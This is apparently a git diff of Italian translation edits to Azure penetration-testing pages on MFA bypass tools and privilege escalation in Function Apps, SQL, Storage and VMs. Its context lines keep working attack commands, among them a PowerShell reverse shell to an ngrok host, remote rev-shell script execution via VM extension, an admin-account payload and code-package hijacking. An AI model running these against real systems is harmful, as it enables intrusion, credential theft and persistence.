"https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password ``` ### [ROPCI](https://github.com/wunderwuzzi23/ropci) -Questo strumento ha aiutato a identificare i bypass MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo. +Questo strumento ha aiutato a identificare bypass di MFA e poi ad abusare delle API in più tenant AAD di produzione, dove i clienti AAD credevano di avere MFA applicato, ma l'autenticazione basata su ROPC ha avuto successo. > [!TIP] -> Devi avere i permessi per elencare tutte le applicazioni per poter generare l'elenco delle app da forzare. +> È necessario avere i permessi per elencare tutte le applicazioni per poter generare l'elenco delle app da forzare. ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json @@ -135,7 +135,7 @@ Questo strumento ha aiutato a identificare i bypass MFA e poi ad abusare delle A ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token è un insieme di funzioni che mirano ad aiutare i consulenti di sicurezza che devono convalidare le Politiche di Accesso Condizionale, test per portali Microsoft abilitati 2FA, ecc.. +Donkey token è un insieme di funzioni che mirano ad aiutare i consulenti di sicurezza che devono convalidare le Politiche di Accesso Condizionale, test per portali Microsoft abilitati per 2FA, ecc..
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
@@ -148,7 +148,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
 $cred = New-Object System.Management.Automation.PSCredential($username, $password)
 Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
 ```
-Perché il **portale** **Azure** **non è vincolato**, è possibile **raccogliere un token dall'endpoint del portale per accedere a qualsiasi servizio rilevato** dall'esecuzione precedente. In questo caso è stato identificato Sharepoint, e viene richiesto un token per accedervi:
+Poiché il **portale** **Azure** **non è vincolato**, è possibile **raccogliere un token dall'endpoint del portale per accedere a qualsiasi servizio rilevato** dall'esecuzione precedente. In questo caso è stato identificato Sharepoint, e viene richiesto un token per accedervi:
 ```powershell
 $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
 Read-JWTtoken -token $token.access_token
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index 02accc1d7..d3bfff4f9 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -4,7 +4,7 @@
 
 ## Function Apps
 
-Controlla la seguente pagina per ulteriori informazioni:
+Controlla la pagina seguente per ulteriori informazioni:
 
 {{#ref}}
 ../az-services/az-function-apps.md
@@ -31,7 +31,7 @@ Quei config conterranno la **Storage Account Key** che la Function può utilizza
 > [!CAUTION]
 > Con abbastanza permessi per connettersi al File Share e **modificare lo script** in esecuzione, è possibile eseguire codice arbitrario nella Function e aumentare i privilegi.
 
-L'esempio seguente utilizza macOS per connettersi al file share, ma è consigliato controllare anche la seguente pagina per ulteriori informazioni sui file share:
+L'esempio seguente utilizza macOS per connettersi al file share, ma si consiglia di controllare anche la seguente pagina per ulteriori informazioni sui file share:
 
 {{#ref}}
 ../az-services/az-file-shares.md
@@ -151,13 +151,13 @@ az rest --method POST --uri "https://management.azure.com/subscriptions/ --key-name  --key-type functionKeys --name  --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
 ```
 ### Microsoft.Web/sites/host/masterKey/write
 
-Questo permesso consente di creare/aggiornare una chiave master per la funzione specificata con:
+Questa autorizzazione consente di creare/aggiornare una chiave master per la funzione specificata con:
 ```bash
 az functionapp keys set --resource-group  --key-name  --key-type masterKey --name  --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
 ```
@@ -172,7 +172,7 @@ az functionapp keys set --resource-group  --key-name  --key
 ```
 ### Microsoft.Web/sites/config/list/action
 
-Questo permesso consente di ottenere le impostazioni di una funzione. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **chiave dell'account per accedere al blob storage della funzione con permessi COMPLETI**.
+Questo permesso consente di ottenere le impostazioni di una funzione. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **chiave dell'account per accedere allo storage blob della funzione con permessi COMPLETI**.
 ```bash
 az functionapp config appsettings list --name  --resource-group 
 ```
@@ -183,7 +183,7 @@ az rest --method POST \
 ```
 ### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
 
-Queste autorizzazioni consentono di elencare i valori di configurazione di una funzione come abbiamo visto prima, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione. 
+Queste autorizzazioni consentono di elencare i valori di configurazione di una funzione come abbiamo visto in precedenza, oltre a **modificare questi valori**. Questo è utile perché queste impostazioni indicano dove si trova il codice da eseguire all'interno della funzione. 
 
 È quindi possibile impostare il valore dell'impostazione **`WEBSITE_RUN_FROM_PACKAGE`** puntando a un file zip URL contenente il nuovo codice da eseguire all'interno di un'applicazione web:
 
@@ -205,7 +205,7 @@ ngrok http 8000
 ```
 - Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la configurazione **`WEBSITE_RUN_FROM_PACKAGE`** che punta all'URL con il **zip** contenente il codice.
 
-Di seguito è riportato un esempio delle **mie impostazioni, dovrai cambiare i valori per le tue**, nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, qui è dove stavo ospitando l'app.
+L'esempio seguente mostra le **mie impostazioni personali che dovrai modificare i valori per le tue**, nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, qui è dove stavo ospitando l'app.
 ```bash
 # Modify the function
 az rest --method PUT \
@@ -275,7 +275,7 @@ zip function_app.zip function_app.py # Your code in function_app.py
 curl -u ':' -X POST --data-binary "@" \
 https://.scm.azurewebsites.net/api/zipdeploy
 ```
-_Note che il **nome utente SCM** è solitamente il carattere "$" seguito dal nome dell'app, quindi: `$`._
+_Nota che il **nome utente SCM** è solitamente il carattere "$" seguito dal nome dell'app, quindi: `$`._
 
 Puoi anche accedere alla pagina web da `https://.scm.azurewebsites.net/BasicAuth`
 
@@ -316,7 +316,7 @@ az rest --url "https://management.azure.com/subscriptions//reso
 ```
 ### Microsoft.Web/sites/functions/token/action
 
-Con questo permesso è possibile [ottenere il **token di amministrazione**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può essere successivamente utilizzato per recuperare la **chiave principale** e quindi accedere e modificare il codice della funzione:
+Con questo permesso è possibile [ottenere il **token admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può essere successivamente utilizzato per recuperare la **chiave master** e quindi accedere e modificare il codice della funzione:
 ```bash
 # Get admin token
 az rest --method POST \
@@ -352,14 +352,14 @@ az functionapp config container set --name  \
 ```
 ### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
 
-Con questi permessi è possibile **allegare una nuova identità gestita dall'utente a una funzione**. Se la funzione fosse compromessa, questo permetterebbe di elevare i privilegi a qualsiasi identità gestita dall'utente.
+Con questi permessi è possibile **allegare una nuova identità gestita dall'utente a una funzione**. Se la funzione fosse compromessa, ciò consentirebbe di elevare i privilegi a qualsiasi identità gestita dall'utente.
 ```bash
 az functionapp identity assign \
 --name  \
 --resource-group  \
 --identities /subscriptions//providers/Microsoft.ManagedIdentity/userAssignedIdentities/
 ```
-### Remote Debugging
+### Debugging Remoto
 
 È anche possibile connettersi per eseguire il debug di una funzione Azure in esecuzione come [**spiegato nella documentazione**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Tuttavia, per impostazione predefinita, Azure disattiverà questa opzione dopo 2 giorni nel caso in cui lo sviluppatore dimentichi di evitare di lasciare configurazioni vulnerabili.
 
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index 7b6e49d72..49036c7be 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -12,7 +12,7 @@ Per ulteriori informazioni su questo servizio, controlla:
 
 ### Microsoft.KeyVault/vaults/write
 
-Un attaccante con questo permesso sarà in grado di modificare la politica di un key vault (il key vault deve utilizzare politiche di accesso invece di RBAC).
+Un attaccante con questo permesso sarà in grado di modificare la policy di un key vault (il key vault deve utilizzare le policy di accesso invece di RBAC).
 ```bash
 # If access policies in the output, then you can abuse it
 az keyvault show --name 
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
index e043a1d15..5229bca99 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md
@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
 
 ### Invia Messaggi. Azione: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
 
-Puoi recuperare il `PrimaryConnectionString`, che funge da credenziale per lo spazio dei nomi del Service Bus. Con questa stringa di connessione, puoi autenticarti completamente come lo spazio dei nomi del Service Bus, permettendoti di inviare messaggi a qualsiasi coda o argomento e potenzialmente interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggistica.
+Puoi recuperare il `PrimaryConnectionString`, che funge da credenziale per il namespace del Service Bus. Con questa stringa di connessione, puoi autenticarti completamente come il namespace del Service Bus, permettendoti di inviare messaggi a qualsiasi coda o argomento e potenzialmente interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggistica.
 ```python
 #You need to install the following libraries
 #pip install azure-servicebus
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
index b888d4664..bbbba88e6 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md
@@ -4,7 +4,7 @@
 
 ## SQL Database Privesc
 
-Per ulteriori informazioni su SQL Database, controlla:
+Per ulteriori informazioni su SQL Database controlla:
 
 {{#ref}}
 ../az-services/az-sql.md
@@ -28,7 +28,7 @@ az sql server create \
 --admin-user  \
 --admin-password 
 ```
-Inoltre, è necessario avere l'accesso pubblico abilitato se si desidera accedere da un endpoint non privato, per abilitarlo:
+Inoltre, è necessario avere l'accesso pubblico abilitato se si desidera accedere da un endpoint non privato. Per abilitarlo:
 ```bash
 az sql server update \
 --name  \
@@ -37,7 +37,7 @@ az sql server update \
 ```
 ### "Microsoft.Sql/servers/firewallRules/write"
 
-Un attaccante può manipolare le regole del firewall sui server Azure SQL per consentire accessi non autorizzati. Questo può essere sfruttato per aprire il server a indirizzi IP specifici o a interi intervalli di IP, inclusi gli IP pubblici, consentendo l'accesso a attori malevoli. Questa attività post-sfruttamento può essere utilizzata per eludere i controlli di sicurezza di rete esistenti, stabilire persistenza o facilitare il movimento laterale all'interno dell'ambiente esponendo risorse sensibili.
+Un attaccante può manipolare le regole del firewall sui server Azure SQL per consentire accessi non autorizzati. Questo può essere sfruttato per aprire il server a indirizzi IP specifici o a interi intervalli di IP, inclusi gli IP pubblici, consentendo l'accesso a attori malevoli. Questa attività di post-sfruttamento può essere utilizzata per eludere i controlli di sicurezza di rete esistenti, stabilire persistenza o facilitare il movimento laterale all'interno dell'ambiente esponendo risorse sensibili.
 ```bash
 # Create Firewall Rule
 az sql server firewall-rule create \
@@ -70,11 +70,11 @@ az sql server firewall-rule create \
 --end-ip-address 
 ```
 Inoltre, il permesso `Microsoft.Sql/servers/ipv6FirewallRules/delete` consente di eliminare una regola del firewall.  
-NOTA: È necessario avere l'accesso pubblico abilitato
+NOTA: È necessario avere abilitato l'accesso pubblico.
 
 ### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
 
-Con questi permessi puoi privesc in un ambiente Azure SQL Server accedendo ai database SQL e recuperando informazioni critiche. Utilizzando il comando qui sotto, un attaccante o un utente autorizzato può impostare se stesso o un altro account come amministratore di Azure AD. Se "Microsoft Entra Authentication Only" è abilitato, puoi accedere al server e alle sue istanze. Ecco il comando per impostare l'amministratore di Azure AD per un server SQL:
+Con questi permessi puoi effettuare un privesc in un ambiente Azure SQL Server accedendo ai database SQL e recuperando informazioni critiche. Utilizzando il comando qui sotto, un attaccante o un utente autorizzato può impostare se stesso o un altro account come amministratore di Azure AD. Se "Microsoft Entra Authentication Only" è abilitato, puoi accedere al server e alle sue istanze. Ecco il comando per impostare l'amministratore di Azure AD per un server SQL:
 ```bash
 az sql server ad-admin create \
 --server  \
@@ -84,7 +84,7 @@ az sql server ad-admin create \
 ```
 ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
 
-Con questi permessi, puoi configurare e applicare "Autenticazione solo Microsoft Entra" su un Azure SQL Server, il che potrebbe facilitare l'escalation dei privilegi in determinati scenari. Un attaccante o un utente autorizzato con questi permessi può abilitare o disabilitare l'autenticazione solo Azure AD.
+Con questi permessi, puoi configurare e applicare "Autenticazione solo di Microsoft Entra" su un Azure SQL Server, il che potrebbe facilitare l'escalation dei privilegi in determinati scenari. Un attaccante o un utente autorizzato con questi permessi può abilitare o disabilitare l'autenticazione solo di Azure AD.
 ```bash
 #Enable
 az sql server azure-ad-only-auth enable \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
index cd2a7642b..aa8155953 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md
@@ -18,7 +18,7 @@ az storage account keys list --account-name 
 ```
 ### Microsoft.Storage/storageAccounts/regenerateKey/action
 
-Un principale con questo permesso sarà in grado di rinnovare e ottenere il nuovo valore segreto delle **chiavi di accesso** degli account di archiviazione. Consentendo al principale di elevare i propri privilegi sugli account di archiviazione.
+Un principale con questo permesso sarà in grado di rinnovare e ottenere il nuovo valore segreto delle **access keys** degli account di archiviazione. Consentendo al principale di elevare i propri privilegi sugli account di archiviazione.
 
 Inoltre, nella risposta, l'utente riceverà il valore della chiave rinnovata e anche di quella non rinnovata:
 ```bash
@@ -58,19 +58,19 @@ az storage container immutability-policy update \
 
 ### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
 
-Questo dovrebbe consentire a un utente che ha questo permesso di poter prendere possesso dei file all'interno del filesystem condiviso.
+Questo dovrebbe consentire a un utente con questo permesso di poter prendere possesso dei file all'interno del filesystem condiviso.
 
 ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
 
-Questo dovrebbe consentire a un utente che ha questo permesso di poter modificare i permessi dei file all'interno del filesystem condiviso.
+Questo dovrebbe consentire a un utente con questo permesso di poter modificare i permessi dei file all'interno del filesystem condiviso.
 
 ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
 
-Questo dovrebbe consentire a un utente che ha questo permesso di poter eseguire azioni all'interno di un filesystem come superutente.
+Questo dovrebbe consentire a un utente con questo permesso di poter eseguire azioni all'interno di un filesystem come superutente.
 
 ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
 
-Con questo permesso, un attaccante può creare e aggiornare (se ha il permesso `Microsoft.Storage/storageAccounts/localusers/read`) un nuovo utente locale per un account Azure Storage (configurato con namespace gerarchico), inclusa la specifica dei permessi e della directory home dell'utente. Questo permesso è significativo perché consente all'attaccante di concedere a se stesso un accesso a un account di archiviazione con permessi specifici come lettura (r), scrittura (w), eliminazione (d) e elenco (l) e altro ancora. Inoltre, i metodi di autenticazione che utilizza possono essere password generate da Azure e coppie di chiavi SSH. Non c'è alcun controllo se un utente esiste già, quindi puoi sovrascrivere altri utenti che sono già presenti. L'attaccante potrebbe elevare i propri privilegi e ottenere accesso SSH all'account di archiviazione, esponendo o compromettendo potenzialmente dati sensibili.
+Con questo permesso, un attaccante può creare e aggiornare (se ha il permesso `Microsoft.Storage/storageAccounts/localusers/read`) un nuovo utente locale per un account Azure Storage (configurato con namespace gerarchico), inclusa la specifica dei permessi e della directory home dell'utente. Questo permesso è significativo perché consente all'attaccante di concedere a se stesso l'accesso a un account di archiviazione con permessi specifici come lettura (r), scrittura (w), eliminazione (d) e elenco (l) e altro ancora. Inoltre, i metodi di autenticazione che utilizza possono essere password generate da Azure e coppie di chiavi SSH. Non c'è alcun controllo se un utente esiste già, quindi puoi sovrascrivere altri utenti già presenti. L'attaccante potrebbe elevare i propri privilegi e ottenere accesso SSH all'account di archiviazione, esponendo o compromettendo potenzialmente dati sensibili.
 ```bash
 az storage account local-user create \
 --account-name  \
@@ -82,21 +82,21 @@ az storage account local-user create \
 ```
 ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
 
-Con questo permesso, un attaccante può rigenerare la password per un utente locale in un account Azure Storage. Questo concede all'attaccante la possibilità di ottenere nuove credenziali di autenticazione (come una password SSH o SFTP) per l'utente. Sfruttando queste credenziali, l'attaccante potrebbe ottenere accesso non autorizzato all'account di archiviazione, eseguire trasferimenti di file o manipolare i dati all'interno dei contenitori di archiviazione. Ciò potrebbe comportare una perdita di dati, corruzione o modifica malevola del contenuto dell'account di archiviazione.
+Con questo permesso, un attaccante può rigenerare la password per un utente locale in un account Azure Storage. Questo concede all'attaccante la possibilità di ottenere nuove credenziali di autenticazione (come una password SSH o SFTP) per l'utente. Sfruttando queste credenziali, l'attaccante potrebbe ottenere accesso non autorizzato all'account di archiviazione, eseguire trasferimenti di file o manipolare i dati all'interno dei contenitori di archiviazione. Ciò potrebbe comportare perdite di dati, corruzione o modifica malevola del contenuto dell'account di archiviazione.
 ```bash
 az storage account local-user regenerate-password \
 --account-name  \
 --resource-group  \
 --name 
 ```
-Per accedere ad Azure Blob Storage tramite SFTP utilizzando un utente locale tramite SFTP puoi (puoi anche utilizzare una chiave ssh per connetterti):
+Per accedere ad Azure Blob Storage tramite SFTP utilizzando un utente locale via SFTP puoi (puoi anche utilizzare una chiave ssh per connetterti):
 ```bash
 sftp @.blob.core.windows.net
 #regenerated-password
 ```
 ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
 
-Con questi permessi, un attaccante può ripristinare un contenitore eliminato specificando il suo ID di versione eliminata o annullare l'eliminazione di specifici blob all'interno di un contenitore, se erano stati precedentemente eliminati in modo soft. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a un accesso non autorizzato.
+Con questi permessi, un attaccante può ripristinare un contenitore eliminato specificando il suo ID versione eliminato o annullare l'eliminazione di specifici blob all'interno di un contenitore, se erano stati precedentemente eliminati in modo soft. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a un accesso non autorizzato.
 ```bash
 #Restore the soft deleted container
 az storage container restore \
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
index 21c283c8b..74ebf4839 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md
@@ -1,8 +1,8 @@
-# Az - Virtual Machines & Network Privesc
+# Az - Macchine Virtuali & Privesc di Rete
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## VMS & Network
+## VMS & Rete
 
 Per ulteriori informazioni su Azure Virtual Machines e Network controlla:
 
@@ -49,7 +49,7 @@ az vm extension set \
 
 {{#tab name="Windows" }}
 
-- Eseguire una reverse shell
+- Esegui una reverse shell
 ```bash
 # Get encoded reverse shell
 echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -76,7 +76,7 @@ az vm extension set \
 --settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
 --protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
 ```
-Puoi anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
+Potresti anche eseguire altri payload come: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
 
 - Reimposta la password utilizzando l'estensione VMAccess
 ```powershell
@@ -163,7 +163,7 @@ Questa è un'estensione VM che consentirebbe di eseguire runbook in VM da un acc
 
 ### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
 
-Queste sono le autorizzazioni richieste per **creare una nuova applicazione di galleria ed eseguirla all'interno di una VM**. Le applicazioni di galleria possono eseguire qualsiasi cosa, quindi un attaccante potrebbe abusare di questo per compromettere le istanze VM eseguendo comandi arbitrari.
+Queste sono le autorizzazioni necessarie per **creare una nuova applicazione di galleria ed eseguirla all'interno di una VM**. Le applicazioni di galleria possono eseguire qualsiasi cosa, quindi un attaccante potrebbe abusare di questo per compromettere le istanze VM eseguendo comandi arbitrari.
 
 Le ultime 2 autorizzazioni potrebbero essere evitate condividendo l'applicazione con il tenant.
 
@@ -327,7 +327,7 @@ az vm create \
 ```
 ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
 
-Questi permessi sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere quella **assegnata dal sistema** e **molte identità gestite dall'utente**.\
+Queste autorizzazioni sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere **quella assegnata dal sistema** e **molte identità gestite dall'utente**.\
 Poi, dal servizio di metadata è possibile generare token per ciascuna di esse.
 ```bash
 # Get currently assigned managed identities to the VM
@@ -343,7 +343,7 @@ az vm identity assign \
 /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
 /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
 ```
-Poi l'attaccante deve aver **compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **ulteriori informazioni in**:
+L'attaccante deve **aver compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **maggiori informazioni in**:
 
 {{#ref}}
 https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md
index 78f04b8da..38801c939 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-acr.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md
@@ -4,7 +4,7 @@
 
 ## Informazioni di base
 
-Azure Container Registry (ACR) è un servizio gestito fornito da Microsoft Azure per **memorizzare e gestire le immagini dei container Docker e altri artefatti**. Offre funzionalità come strumenti per sviluppatori integrati, geo-replica, misure di sicurezza come il controllo degli accessi basato sui ruoli e la scansione delle immagini, build automatizzate, webhook e trigger, e isolamento della rete. Funziona con strumenti popolari come Docker CLI e Kubernetes, e si integra bene con altri servizi Azure.
+Azure Container Registry (ACR) è un servizio gestito fornito da Microsoft Azure per **memorizzare e gestire immagini di container Docker e altri artefatti**. Offre funzionalità come strumenti per sviluppatori integrati, geo-replica, misure di sicurezza come il controllo degli accessi basato sui ruoli e la scansione delle immagini, build automatizzate, webhook e trigger, e isolamento della rete. Funziona con strumenti popolari come Docker CLI e Kubernetes, e si integra bene con altri servizi Azure.
 
 ### Enumerare
 
@@ -36,7 +36,7 @@ Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
 {{#endtab }}
 {{#endtabs }}
 
-Accesso e Pull dal registro
+Accedi e scarica dal registro
 ```bash
 docker login .azurecr.io --username  --password 
 docker pull .azurecr.io/:
diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md
index f16e10f1d..35267fe26 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md
@@ -4,7 +4,7 @@
 
 ## Informazioni di base su App Service
 
-Azure App Services consente agli sviluppatori di **creare, distribuire e scalare applicazioni web, backend di app mobili e API senza soluzione di continuità**. Supporta più linguaggi di programmazione e si integra con vari strumenti e servizi Azure per funzionalità e gestione migliorate.
+Azure App Services consente agli sviluppatori di **creare, distribuire e scalare applicazioni web, backend di app mobili e API senza soluzione di continuità**. Supporta più linguaggi di programmazione e si integra con vari strumenti e servizi Azure per funzionalità e gestione avanzate.
 
 Ogni app viene eseguita all'interno di un sandbox, ma l'isolamento dipende dai piani di App Service
 
@@ -18,7 +18,7 @@ Ogni app viene eseguita all'interno di un sandbox, ma l'isolamento dipende dai p
 
 Fondamentalmente, **le Azure Function apps sono un sottoinsieme di Azure App Service** nel web e se vai alla console web e elenchi tutti i servizi app o esegui `az webapp list` in az cli, sarai in grado di **vedere anche le Function apps elencate qui**.
 
-In realtà, alcune delle **funzionalità relative alla sicurezza** utilizzate dai servizi app (`webapp` nell'az cli) sono **anche utilizzate dalle Function apps**.
+In realtà, alcune delle **funzionalità di sicurezza** utilizzate dai servizi App (`webapp` nell'az cli) sono **anche utilizzate dalle Function apps**.
 
 ## Autenticazione di base
 
@@ -87,9 +87,6 @@ az webapp config storage-account list --name  --resource-gl_group
 
 
 
-
-
-
 # List all the functions
 az functionapp list
 
diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
index b8ad270be..9a7ad2cec 100644
--- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md
@@ -6,7 +6,7 @@
 
 [Dal documento:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
 
-Il Proxy delle Applicazioni di Azure Active Directory fornisce **accesso remoto sicuro alle applicazioni web on-premises**. Dopo un **accesso unico ad Azure AD**, gli utenti possono accedere sia alle **applicazioni cloud** che a quelle **on-premises** tramite un **URL esterno** o un portale applicativo interno.
+Il Application Proxy di Azure Active Directory fornisce **accesso remoto sicuro alle applicazioni web on-premises**. Dopo un **accesso singolo ad Azure AD**, gli utenti possono accedere sia alle **applicazioni cloud** che a quelle **on-premises** tramite un **URL esterno** o un portale applicativo interno.
 
 Funziona in questo modo:
 
@@ -14,10 +14,10 @@ Funziona in questo modo:
 
 1. Dopo che l'utente ha accesso all'applicazione tramite un endpoint, l'utente viene indirizzato alla **pagina di accesso di Azure AD**.
 2. Dopo un **accesso riuscito**, Azure AD invia un **token** al dispositivo client dell'utente.
-3. Il client invia il token al **servizio Proxy delle Applicazioni**, che recupera il nome principale dell'utente (UPN) e il nome principale di sicurezza (SPN) dal token. **Il Proxy delle Applicazioni invia quindi la richiesta al connettore del Proxy delle Applicazioni**.
-4. Se hai configurato l'accesso unico, il connettore esegue qualsiasi **autenticazione aggiuntiva** richiesta per conto dell'utente.
+3. Il client invia il token al **servizio Application Proxy**, che recupera il nome principale dell'utente (UPN) e il nome principale di sicurezza (SPN) dal token. **Application Proxy invia quindi la richiesta al connettore Application Proxy**.
+4. Se hai configurato l'accesso singolo, il connettore esegue qualsiasi **autenticazione aggiuntiva** richiesta per conto dell'utente.
